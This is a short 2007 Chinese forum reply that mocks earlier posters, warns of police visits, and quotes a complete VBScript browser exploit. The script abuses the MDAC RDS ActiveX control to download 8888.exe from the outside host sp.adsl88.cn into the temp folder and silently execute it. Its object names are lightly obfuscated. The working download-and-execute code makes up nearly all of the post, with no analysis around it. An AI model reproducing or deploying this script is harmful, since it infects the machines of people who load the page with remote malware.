|
|
发表于 2007-6-5 14:05:29
|
显示全部楼层
呵呵,楼上的各位玩得开心不?
小心这几天有网警上门调查哦,
下面这代码也太老太直白了吧,
- on error resume next
- xx="object"
- xxx="classid"
- ddddddddddddddd
- xxxx="CLSID:bd96C556-65A3-11d0-983a-00c04fc29e36"
- xxxxx="Microsoft.XMLHTTP"
- xxxxxx="GET"
- xxxxxxx="Scripting.FileSystemObject"
- xxxxxxxx="Shell.Application"
- dl = " http://sp.adsl88.cn/8888.exe"
- Set df = document.createElement(xx)
- df.setAttribute xxx, xxxx
- str=xxxxx
- Set x = df.CreateObject(str,"")
- a1="Ado"
- a2="db."
- a3="Str"
- a4="eam"
- str1=a1&a2&a3&a4
- str5=str1
- set S = df.createobject(str5,"")
- S.type = 1
- str6=xxxxxx
- x.Open str6, dl, False
- x.Send
- fname1="8888.exe"
- set F = df.createobject(xxxxxxx,"")
- set tmp = F.GetSpecialFolder(2)
- fname1= F.BuildPath(tmp,fname1)
- S.open
- S.write x.responseBody
- S.savetofile fname1,2
- S.close
- set Q = df.createobject(xxxxxxxx,"")
- Q.ShellExecute fname1,"","","open",0
复制代码 |
|